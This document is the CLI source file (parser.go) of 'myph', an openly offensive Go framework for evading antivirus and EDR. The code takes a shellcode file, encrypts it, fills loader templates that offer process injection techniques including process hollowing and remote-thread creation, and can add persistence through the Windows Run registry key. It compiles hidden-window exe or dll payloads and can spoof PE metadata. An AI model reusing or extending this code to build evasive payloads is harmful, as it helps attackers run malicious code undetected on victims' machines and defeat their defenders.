myph.git


myph

~ shellcode loader for your evasion needs
git clone https://github.com/matro7sh/myph.git
log | files | refs | archive | README | LICENSE

parser.go (12034B)

      1 package cli
      2 
      3 import (
      4 	"fmt"
      5 	"os"
      6 	"os/exec"
      7 	"path/filepath"
      8 
      9 	"github.com/cmepw/myph/loaders"
     10 	"github.com/cmepw/myph/rc"
     11 	"github.com/cmepw/myph/tools"
     12 	"github.com/spf13/cobra"
     13 	"github.com/tc-hib/winres"
     14 )
     15 
     16 const MYPH_TMP_DIR = "/tmp/myph-out"
     17 const MYPH_TMP_WITH_PAYLOAD = "/tmp/myph-out/payload."
     18 
     19 const ASCII_ART = `
     20               ...                                        -==[ M Y P H ]==-
     21              ;::::;
     22            ;::::; :;                                    In loving memory of
     23          ;:::::'   :;                               Wassyl Iaroslavovytch Slipak
     24         ;:::::;     ;.
     25        ,:::::'       ;           OOO                       (1974 - 2016)
     26        ::::::;       ;          OOOOO
     27        ;:::::;       ;         OOOOOOOO
     28       ,;::::::;     ;'         / OOOOOOO
     29     ;::::::::: . ,,,;.        /  / DOOOOOO
     30   .';:::::::::::::::::;,     /  /     DOOOO
     31  ,::::::;::::::;;;;::::;,   /  /        DOOO        AV / EDR evasion framework
     32 ; :::::: '::::::;;;::::: ,#/  /          DOOO           to pop shells and
     33 : ::::::: ;::::::;;::: ;::#  /            DOOO        make the blue team cry
     34 :: ::::::: ;:::::::: ;::::# /              DOO
     35  : ::::::: ;:::::: ;::::::#/               DOO
     36  ::: ::::::: ;; ;:::::::::##                OO       written with <3 by djnn
     37  :::: ::::::: ;::::::::;:::#                OO                ------
     38  ::::: ::::::::::::;' :;::#                O             https://djnn.sh
     39    ::::: ::::::::;  /  /  :#
     40    :::::: :::::;   /  /    #
     41 
     42 
     43     `
     44 
     45 func BuildLoader(opts *Options) *exec.Cmd {
     46 	os.Setenv("GOOS", opts.OS)
     47 	os.Setenv("GOARCH", opts.Arch)
     48 	if opts.BuildType == "dll" {
     49 		os.Setenv("CGO_ENABLED", "1")
     50 		os.Setenv("CC", "x86_64-w64-mingw32-gcc")
     51 		fmt.Println("[*] Compiling payload as dll...")
     52 
     53 		if opts.WithDebug {
     54 			return exec.Command("go", "build", "-buildmode=c-shared", "-o", "payload.dll", ".")
     55 		}
     56 
     57 		return exec.Command("go", "build", "-buildmode=c-shared", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.dll", ".")
     58 	} else if opts.BuildType == "exe" {
     59 		fmt.Println("[*] Compiling payload as executable...")
     60 
     61 		if opts.WithDebug {
     62 			return exec.Command("go", "build", "-o", "payload.exe", ".")
     63 		}
     64 
     65 		return exec.Command("go", "build", "-ldflags", "-s -w -H=windowsgui", "-o", "payload.exe", ".")
     66 	} else {
     67 		fmt.Printf("[!] Buildtype format not supported!")
     68 		return nil
     69 	}
     70 }
     71 
     72 func GetParser(opts *Options) *cobra.Command {
     73 
     74 	version := "1.2.3"
     75 
     76 	var spoofMetadata = &cobra.Command{
     77 		Use:                "spoof",
     78 		Version:            version,
     79 		DisableSuggestions: true,
     80 		Short:              "spoof PE metadata using versioninfo",
     81 		Long:               ASCII_ART,
     82 		Run: func(cmd *cobra.Command, args []string) {
     83 
     84 			/* obligatory skid ascii art */
     85 			fmt.Printf("%s\n\n", ASCII_ART)
     86 
     87 			exe, err := os.Open(opts.PEFilePath)
     88 			if err != nil {
     89 				panic(err)
     90 			}
     91 			defer exe.Close()
     92 
     93 			rs, err := winres.LoadFromEXE(exe)
     94 			if err != nil {
     95 				rs = &winres.ResourceSet{}
     96 			}
     97 
     98 			err = rc.LoadResourcesFromJson(rs, opts.VersionFilePath)
     99 			if err != nil {
    100 				panic(err)
    101 			}
    102 
    103 			fmt.Printf("[+] Successfully extracted PE metadata from JSON\n")
    104 
    105 			tmpPath := "/tmp/" + filepath.Base(opts.PEFilePath) + ".tmp"
    106 			out, err := os.Create(tmpPath)
    107 			if err != nil {
    108 				panic(err)
    109 			}
    110 			defer out.Close()
    111 
    112 			err = rs.WriteToEXE(out, exe, winres.WithAuthenticode(winres.IgnoreSignature))
    113 			if err != nil {
    114 				panic(err)
    115 			}
    116 
    117 			fmt.Printf("[+] New metadata is set !\n")
    118 
    119 			exe.Close()
    120 			out.Close()
    121 
    122 			os.Remove(opts.PEFilePath)
    123 			tools.MoveFile(tmpPath, opts.PEFilePath)
    124 
    125 			fmt.Printf("[+] Done !\n")
    126 		},
    127 	}
    128 
    129 	var runLoader = &cobra.Command{
    130 		Use:                "myph",
    131 		Version:            version,
    132 		DisableSuggestions: true,
    133 		Short:              "AV/EDR evasion framework",
    134 		Long:               ASCII_ART,
    135 		Run: func(cmd *cobra.Command, args []string) {
    136 
    137 			/* obligatory skid ascii art */
    138 			fmt.Printf("%s\n\n", ASCII_ART)
    139 
    140 			/* later, we will call "go build" on a golang project, so we need to set up the project tree */
    141 			err := tools.CreateTmpProjectRoot(MYPH_TMP_DIR, opts.Persistence)
    142 			if err != nil {
    143 				fmt.Printf("[!] Error generating project root: %s\n", err)
    144 				os.Exit(1)
    145 			}
    146 
    147 			if opts.UseAPIHashing {
    148 				fmt.Printf("[+] Retrieving dependencies to use API Hashing...\n")
    149 
    150 				execGoGetCmd := exec.Command("go", "get", "github.com/Binject/debug/pe")
    151 				execGoGetCmd.Dir = MYPH_TMP_DIR
    152 				_, _ = execGoGetCmd.Output()
    153 
    154 				if opts.WithDebug {
    155 					// if running debug, we want to have the local internals because
    156 					// it makes development easier
    157 
    158 					fmt.Printf("[+] Running \"cp -r ./internals /tmp/myph-out\"\n")
    159 
    160 					execGoGetCmd = exec.Command("cp", "-r", "./internals", MYPH_TMP_DIR)
    161 					execGoGetCmd.Dir = "."
    162 					_, _ = execGoGetCmd.Output()
    163 
    164 				} else {
    165 					// this should stay to cmepw addr
    166 					execGoGetCmd = exec.Command("go", "get", "github.com/cmepw/myph/internals")
    167 					execGoGetCmd.Dir = MYPH_TMP_DIR
    168 					_, _ = execGoGetCmd.Output()
    169 				}
    170 
    171 			}
    172 
    173 			/* reading the shellcode as a series of bytes */
    174 			shellcode, err := tools.ReadFile(opts.ShellcodePath)
    175 			if err != nil {
    176 				fmt.Printf("[!] Error reading shellcode file: %s\n", err.Error())
    177 				os.Exit(1)
    178 			}
    179 
    180 			/* generating a random key if none are selected */
    181 			if opts.Key == "" {
    182 				opts.Key = tools.RandomString(32)
    183 			}
    184 
    185 			fmt.Printf("[+] Selected algorithm: %s (Key: %s)\n", opts.Encryption.String(), opts.Key)
    186 
    187 			/* encoding defines the way the series of bytes will be written into the template */
    188 			encType := tools.SelectRandomEncodingType()
    189 
    190 			fmt.Printf("\tEncoding into template with [%s]\n", encType.String())
    191 
    192 			/*
    193 			   depending on encryption type, we do the following:
    194 
    195 			   - encrypt shellcode with key
    196 			   - write both encrypted & key to file
    197 			   - write to encrypt.go
    198 			   - write to go.mod the required dependencies
    199 			*/
    200 
    201 			var encrypted = []byte{}
    202 			var template = ""
    203 
    204 			switch opts.Encryption {
    205 			case EncKindAES:
    206 				encrypted, err = tools.EncryptAES(shellcode, []byte(opts.Key))
    207 				if err != nil {
    208 					fmt.Println("[!] Could not encrypt with AES")
    209 					panic(err)
    210 				}
    211 				template = tools.GetAESTemplate()
    212 
    213 			case EncKindXOR:
    214 				encrypted, err = tools.EncryptXOR(shellcode, []byte(opts.Key))
    215 				if err != nil {
    216 					fmt.Println("[!] Could not encrypt with XOR")
    217 					panic(err)
    218 				}
    219 				template = tools.GetXORTemplate()
    220 
    221 			case EncKindC20:
    222 				encrypted, err = tools.EncryptChacha20(shellcode, []byte(opts.Key))
    223 				if err != nil {
    224 					fmt.Println("[!] Could not encrypt with ChaCha20")
    225 					panic(err)
    226 				}
    227 
    228 				/* Running `go get "golang.org/x/crypto/chacha20poly1305"` in MYPH_TMP_DIR` */
    229 				execCmd := exec.Command("go", "get", "golang.org/x/crypto/chacha20poly1305")
    230 				execCmd.Dir = MYPH_TMP_DIR
    231 
    232 				_, _ = execCmd.Output()
    233 				template = tools.GetChacha20Template()
    234 
    235 			case EncKindBLF:
    236 				encrypted, err = tools.EncryptBlowfish(shellcode, []byte(opts.Key))
    237 				if err != nil {
    238 					fmt.Println("[!] Could not encrypt with Blowfish")
    239 					panic(err)
    240 				}
    241 
    242 				/* Running `go get golang.org/x/crypto/blowfish in MYPH_TMP_DIR` */
    243 				execCmd := exec.Command("go", "get", "golang.org/x/crypto/blowfish")
    244 				execCmd.Dir = MYPH_TMP_DIR
    245 
    246 				_, _ = execCmd.Output()
    247 				template = tools.GetBlowfishTemplate()
    248 			}
    249 
    250 			/* write decryption routine template */
    251 			err = tools.WriteToFile(MYPH_TMP_DIR, "encrypt.go", template)
    252 			if err != nil {
    253 				panic(err)
    254 			}
    255 
    256 			/* FIXME(djnn): this should not work like this but instead have a flag and an array of techniques like the rest */
    257 			persistData := ""
    258 			if opts.Persistence != "" {
    259 				persistData = fmt.Sprintf(`persistExecute("%s")`, opts.Persistence)
    260 				execCmd := exec.Command("go", "get", "golang.org/x/sys/windows/registry")
    261 				execCmd.Dir = MYPH_TMP_DIR
    262 				_, _ = execCmd.Output()
    263 
    264 				template = tools.GetPersistTemplate()
    265 				err = tools.WriteToFile(MYPH_TMP_DIR, "persist.go", template)
    266 				if err != nil {
    267 					panic(err)
    268 				}
    269 				fmt.Printf("\nUsing persistence technique, file will be installed to %%APPDATA%%\\%s\n", opts.Persistence)
    270 			}
    271 
    272 			/* write main execution template */
    273 			encodedShellcode := tools.EncodeForInterpolation(encType, encrypted)
    274 			encodedKey := tools.EncodeForInterpolation(encType, []byte(opts.Key))
    275 			err = tools.WriteToFile(
    276 				MYPH_TMP_DIR,
    277 				"main.go",
    278 				tools.GetMainTemplate(
    279 					encType.String(),
    280 					encodedKey,
    281 					encodedShellcode,
    282 					opts.SleepTime,
    283 					persistData,
    284 					opts.BuildType == "dll",
    285 				),
    286 			)
    287 			if err != nil {
    288 				panic(err)
    289 			}
    290 
    291 			templateFunc := loaders.SelectTemplate(opts.Technique, opts.UseAPIHashing, opts.APIHashingType)
    292 			if templateFunc == nil {
    293 				fmt.Printf("[!] Could not find a technique for this method: %s\n", opts.Technique)
    294 				os.Exit(1)
    295 			}
    296 
    297 			err = tools.WriteToFile(MYPH_TMP_DIR, "exec.go", templateFunc(opts.Target))
    298 			if err != nil {
    299 				panic(err)
    300 			}
    301 
    302 			fmt.Printf("\n[+] Template (%s) written to tmp directory. Compiling...\n", opts.Technique)
    303 
    304 			execCmd := BuildLoader(opts)
    305 			execCmd.Dir = MYPH_TMP_DIR
    306 
    307 			var stderr error
    308 			_, stderr = execCmd.Output()
    309 
    310 			if stderr != nil {
    311 
    312 				command := "go build -ldflags \"-s -w -H=windowsgui\" -o payload.exe"
    313 				if opts.BuildType == "dll" {
    314 					command = "CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags \"-s -w -H=windowsgui\" -o payload.dll"
    315 				}
    316 
    317 				fmt.Printf("[!] error compiling shellcode: %s\n", stderr.Error())
    318 				fmt.Printf(
    319 					"\nYou may try to run the following command in %s to find out what happend:\n\n GOOS=%s GOARCH=%s %s\n\n",
    320 					MYPH_TMP_DIR,
    321 					opts.OS,
    322 					opts.Arch,
    323 					command,
    324 				)
    325 
    326 				fmt.Println("If you want to submit a bug report, please add the output from this command...Thank you <3")
    327 				os.Exit(1)
    328 			}
    329 
    330 			format := "exe"
    331 			if opts.BuildType == "dll" {
    332 				format = "dll"
    333 			}
    334 			tools.MoveFile(MYPH_TMP_WITH_PAYLOAD+format, opts.OutName+"."+format)
    335 			os.RemoveAll(MYPH_TMP_DIR)
    336 
    337 			fmt.Printf("[+] Done! Compiled payload: %s\n", opts.OutName+"."+opts.BuildType)
    338 		},
    339 	}
    340 
    341 	defaults := GetDefaultCLIOptions()
    342 	var rootCmd = runLoader
    343 
    344 	rootCmd.AddCommand(spoofMetadata)
    345 
    346 	rootCmd.Flags().StringVarP(&opts.OutName, "out", "f", defaults.OutName, "output name")
    347 	rootCmd.Flags().StringVarP(&opts.BuildType, "binary-format", "b", defaults.BuildType, "Binary format (exe,dll)")
    348 	rootCmd.Flags().StringVarP(&opts.ShellcodePath, "shellcode", "s", defaults.ShellcodePath, "shellcode path")
    349 	rootCmd.Flags().StringVarP(&opts.Target, "process", "p", defaults.Target, "target process to inject shellcode to")
    350 	rootCmd.Flags().StringVarP(&opts.Technique, "technique", "t", defaults.Technique, "shellcode-loading technique (allowed: CRT, CRTx, CreateFiber, ProcessHollowing, CreateThread, NtCreateThreadEx, Syscall, SyscallTest, Etwp, SetTimer)")
    351 	rootCmd.Flags().VarP(&opts.Encryption, "encryption", "e", "encryption method. (allowed: AES, chacha20, XOR, blowfish)")
    352 	rootCmd.Flags().StringVarP(&opts.Key, "key", "k", "", "encryption key, auto-generated if empty. (if used by --encryption)")
    353 	rootCmd.Flags().UintVarP(&opts.SleepTime, "sleep-time", "", defaults.SleepTime, "sleep time in seconds before executing loader (default: 0)")
    354 	rootCmd.Flags().BoolVarP(&opts.WithDebug, "debug", "d", false, "builds binary with debug symbols")
    355 	rootCmd.Flags().BoolVarP(&opts.UseAPIHashing, "use-api-hashing", "", false, "Use API Hashing")
    356 	// TODO(djnn): re-add this flag once supported
    357 	// rootCmd.Flags().StringVarP(&opts.APIHashingType, "api-hashing-type", "", "DJB2", "Hashing algorithm used for API hashing")
    358 	rootCmd.Flags().StringVarP(&opts.Persistence, "persistence", "z", defaults.Persistence, "name of the binary being placed in '%APPDATA%' and in 'SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run' reg key (default: \"\")")
    359 
    360 	spoofMetadata.Flags().StringVarP(&opts.PEFilePath, "pe", "p", defaults.PEFilePath, "PE file to spoof")
    361 	spoofMetadata.Flags().StringVarP(&opts.VersionFilePath, "file", "f", defaults.VersionFilePath, "manifest file path (as JSON)")
    362 
    363 	return rootCmd
    364 
    365 }